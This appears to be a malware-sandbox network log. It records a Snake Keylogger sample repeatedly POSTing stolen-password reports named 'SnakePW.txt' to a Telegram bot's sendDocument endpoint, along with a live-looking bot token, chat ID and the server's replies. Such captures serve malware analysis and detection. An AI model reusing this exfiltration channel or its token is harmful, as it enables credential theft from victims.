2022-06-26 07:33:37 UTC	232	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:37 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:37 UTC	232	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66899,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228817,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.5	49993	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:37 UTC	233	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f77b866a Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:37 UTC	233	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 37 37 62 38 36 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f77b866aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:37 UTC	233	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:37 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:37 UTC	234	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66901,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228817,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.5	49994	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:37 UTC	234	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f7b25b44 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:37 UTC	235	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 37 62 32 35 62 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f7b25b44Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:38 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:38 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:38 UTC	235	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66902,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228818,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49782	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:43 UTC	23	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d7a1a28a Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:43 UTC	23	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 37 61 31 61 32 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d7a1a28aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:44 UTC	24	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:44 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:44 UTC	24	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66760,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228764,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.5	49995	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:38 UTC	236	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f7edf6c4 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:38 UTC	236	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 37 65 64 66 36 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f7edf6c4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:38 UTC	237	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:38 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:38 UTC	237	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66903,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228818,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.5	49996	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:38 UTC	238	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f82bf373 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:38 UTC	238	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 38 32 62 66 33 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f82bf373Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:38 UTC	238	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:38 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:38 UTC	239	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66904,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228818,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.5	49997	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:38 UTC	239	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f86067ac Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:38 UTC	240	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 38 36 30 36 37 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f86067acContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:39 UTC	240	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:39 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:39 UTC	241	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66906,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228819,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.5	49998	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:39 UTC	241	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f8acb278 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:39 UTC	241	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 38 61 63 62 32 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f8acb278Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:39 UTC	242	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:39 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:39 UTC	242	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66907,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228819,"document":{"file_

